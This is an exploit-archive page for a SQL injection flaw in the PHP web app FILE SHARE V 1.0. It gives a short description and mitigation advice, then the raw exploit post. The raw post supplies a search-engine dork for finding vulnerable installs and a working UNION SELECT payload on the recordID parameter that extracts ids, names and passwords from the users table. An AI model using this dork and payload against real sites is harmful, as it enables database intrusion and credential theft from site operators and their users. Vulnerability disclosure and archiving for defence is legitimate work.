FILE SHARE V 1.0 SQL Injection Vulnerability

vendor:

FILE SHARE V 1.0

by:

TOP SAT 13

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: FILE SHARE V 1.0

Affected Version From: FILE SHARE V 1.0

Affected Version To: FILE SHARE V 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

FILE SHARE V 1.0 SQL Injection Vulnerability

A SQL injection vulnerability exists in FILE SHARE V 1.0, which is a web application developed by http://www.script-ati.com. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.

Source

Exploit-DB raw data:

##########################- Alg3r!eN H4xoRz -######################

[-]            FILE SHARE V 1.0  SQL Injection Vulnerability
[-] Author    : TOP SAT 13
[-] MAIL      : topsat13@live.fr<mailto:topsat13@live.fr>  'Or'   Dz8@live.com<mailto:Dz8@live.com>

############################################################/

[ Software Information ]

[/] Vendor : http://www.script-ati.com
[/] script   : FILE SHARE V 1.0
[/] Download : http://www.script-ati.com<http://www.script-ati.com/>
[/] Vulnerability : php SQL injection
[/] Dork :inurl:"inurl:file.php?recordID="
                       "FILE SHARE V 1.0"

############################################################/
[ Vulnerable File ]

http://server/path/file.php?recordID=[ t o p S q l ]

[ Exploit ]

http://server/path/file.php?recordID=xx+union+select+1,group_concat(id,0x3a3a,nom,0x3a3a,pass),3,4,5,6,7,8,9,10+from+mombre--

[  Gr44ts ]

[~]: cRuT$Y - DeR_KOniG - Hunter Hacker - DOWNWOW - Dr.orYX - Cr3w-Dz - PMXs  & All My Muslims Hackerz :[~]